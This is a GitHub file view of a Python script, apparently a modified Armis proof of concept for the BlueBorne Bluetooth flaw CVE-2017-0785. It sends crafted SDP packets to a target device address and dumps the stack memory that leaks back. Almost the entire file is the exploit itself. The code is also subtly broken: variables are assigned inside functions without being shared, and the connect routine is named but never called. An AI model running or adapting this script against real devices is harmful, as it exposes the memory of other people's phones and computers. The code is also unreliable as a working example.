/
payload.py
executable file
·73 lines (60 loc) · 1.64 KB
/
payload.py
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# Modified CVE-2017-0785.py released by Armis
# to work with BTAT and return values for logging
#by @brentru, @daustin1, @epires3
from pwn import *
import bluetooth
if not 'TARGET' in args:
log.info("Usage: payload.py TARGET=XX:XX:XX:XX:XX:XX")
exit()
target = args['TARGET']
service_long = 0x0100
service_short = 0x0001
mtu = 50
n = 30
# holds sock rcv
data = 0
# holds stack str rcv
stack = ''
def packet(service, continuation_state):
pkt = '\x02\x00\x00'
pkt += p16(7 + len(continuation_state))
pkt += '\x35\x03\x19'
pkt += p16(service)
pkt += '\x01\x00'
pkt += continuation_state
return pkt
def evalVuln():
if data[-3] != '\x02':
# device not vulnerable to attack
log.error('Invalid continuation state received.')
for i in range(1, n):
p.status('Sending packet %d' % i)
sock.send(packet(service_short, data[-3:]))
data = sock.recv(mtu)
stack += data[9:-3]
sock.close()
# log success
p.success('Done')
# dump the stack
print hexdump(stack)
def connectToDevice():
p.status('Connecting to target')
sock.connect((target, 1))
p.status('Sending packet 0')
sock.send(packet(service_long, '\x00'))
data = sock.recv(mtu)
evalVuln()
def makeSocket():
p.status('Creating L2CAP socket...')
sock = bluetooth.BluetoothSocket(bluetooth.L2CAP)
bluetooth.set_l2cap_mtu(sock, mtu)
context.endian = 'big'
if (context.endian == 'big'):
connectToDevice
else:
p.status('couldnt connect to target')
def main():
p = log.progress('BEGIN Exploit..')
makeSocket()
if __name__ == '__main__':
main()